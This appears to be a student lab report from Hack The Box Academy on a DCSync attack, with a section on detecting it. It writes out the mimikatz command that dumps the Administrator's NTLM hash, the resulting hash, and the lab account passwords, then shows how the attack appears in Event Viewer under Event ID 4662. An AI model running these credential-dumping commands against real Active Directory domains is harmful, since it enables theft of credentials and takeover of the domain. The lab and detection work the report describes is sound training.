Lab Report#9 — DCSync Attack

Module: Windows Attacks and Defense

Topic: DCSync Attack Platform: Hack The Box Academy Objective: Simulate a DCSync attack to extract NTLM hashes from a Domain Controller and investigate the resulting logs in Event Viewer.

Introduction

In this lab, we explored the DCSync attack, a powerful post-exploitation technique where an attacker with replication rights can impersonate a Domain Controller and extract password hashes from Active Directory. We leveraged the mimikatz tool to perform the attack and then examined its forensic footprint using the Windows Event Viewer on the DC.

Lab Setup

• Attacker Machine: Parrot OS (HTB box)
• Target Machines:
• W10 Client (used to launch the attack as a domain user)
• DC1 (Domain Controller where logs are analyzed)
• Attacker Account: rocky
• Password: Slavi123
• Tool Used: mimikatz

Attack Execution

Step 1: Launch CMD as Rocky

We began by logging into the W10 machine and starting a CMD session as the rocky domain user. This user has the required permissions to perform directory replication.

runas /user:eagle\rocky cmd.exe

Upon prompt, we entered the password: Slavi123.

Step 2: Use Mimikatz to Perform DCSync

Within the same session, we navigated to the folder where mimikatz.exe was located and launched it:

mimikatz.exe

Inside mimikatz, we ran the following command to perform the DCSync attack on the Administrator account:

lsadump::dcsync /domain:eagle.local /user:Administrator

This command simulates a domain controller and requests user credentials from Active Directory.

Result: We successfully extracted the NTLM hash for the Administrator account:

fcdc65703dd2b0bd789977f1f3eeaecf

This completes the first task of the lab.

Event Log Analysis

After the DCSync attack, our goal was to identify forensic evidence of the attack on the Domain Controller.

Step 3: Connect to DC1

We used Remote Desktop Connection (RDP) to log into the Domain Controller DC1 using the following credentials:

• Username: htb-student
• Password: HTB_@cademy_stdnt!

We used xfreerdp to establish the connection from Parrot OS:

xfreerdp /u:htb-student /p:HTB_@cademy_stdnt! /v:172.16.18.3

Step 4: Investigate Event Viewer

Once logged in, we opened Event Viewer and navigated to:

Applications and Services Logs → Microsoft → Windows → Security

We filtered the logs by Event ID 4662, which logs directory service access operations — including those triggered by DCSync.

Using Ctrl + F, we searched for the username rocky.

In one of the matching logs, we found the field:

• Task Category: Directory Service Access

This matches the expected indicator of a DCSync attack and answers the second question in the lab.

Conclusion

This lab demonstrated how a domain user with replication privileges can execute a DCSync attack to extract sensitive credentials from Active Directory. It also highlighted the forensic traces left behind, emphasizing the importance of monitoring replication permissions and auditing Event ID 4662.

By simulating this attack and performing log analysis, we reinforced both offensive and defensive cybersecurity skills, closing the loop between exploitation and detection.